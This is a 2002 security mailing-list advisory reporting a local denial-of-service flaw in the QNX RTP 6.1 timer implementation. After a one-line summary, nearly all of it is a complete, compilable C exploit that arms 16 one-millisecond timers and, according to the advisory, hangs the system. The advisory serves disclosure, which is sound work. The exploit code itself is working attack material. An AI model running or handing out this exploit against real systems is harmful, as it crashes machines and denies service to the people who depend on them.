[EXPL] QNX Timer Implementation Vulnerable to DoS
From: support@securiteam.comDate: 11/07/02
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From: support@securiteam.com To: list@securiteam.com Date: 7 Nov 2002 11:04:37 +0200
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QNX Timer Implementation Vulnerable to DoS
------------------------------------------------------------------------
SUMMARY
Pawel has found a bug in QNX-6.1 timer implementation. After creating some
number (at least 2) of timers with 1 ms tick system hangs.
DETAILS
Vulnerable systems:
* QNX version 6.1
Exploit:
/*
* QNX RTP 6.1 Local DoS exploit
*
* author: Pawel Pisarczyk <pawel@immos.com.pl>, 2002
*
* After compilation and output binary execution system hangs.
*/
#include <errno.h>
#include <stdio.h>
#include <stddef.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/neutrino.h>
#include <inttypes.h>
int main(int argc, char *argv[])
{
struct sigevent event;
struct _itimer itimer;
int chid;
int tmid;
int coid;
int k;
if ((chid = ChannelCreate(0)) < 0) {
fprintf(stderr, "Can't create channel!\n");
exit(-1);
}
if ((coid = ConnectAttach(0, getpid(), chid, 0, 0)) < 0) {
fprintf(stderr, "Can't connect to channel!\n");
exit(-1);
}
for (k = 0; k < 16; k++) {
SIGEV_PULSE_INIT(&event, coid, 16, _PULSE_CODE_MINAVAIL + 1, k);
if ((tmid = TimerCreate(CLOCK_REALTIME, &event)) < 0) {
fprintf(stderr, "Can't create timer!\n");
return -1;
}
itimer.nsec = 1000000;
itimer.interval_nsec = 1000000;
TimerSettime(tmid, 0, &itimer, NULL);
}
while (getc(stdin) != '#');
return 0;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:pawel@immos.com.pl> Pawel
Pisarczyk.
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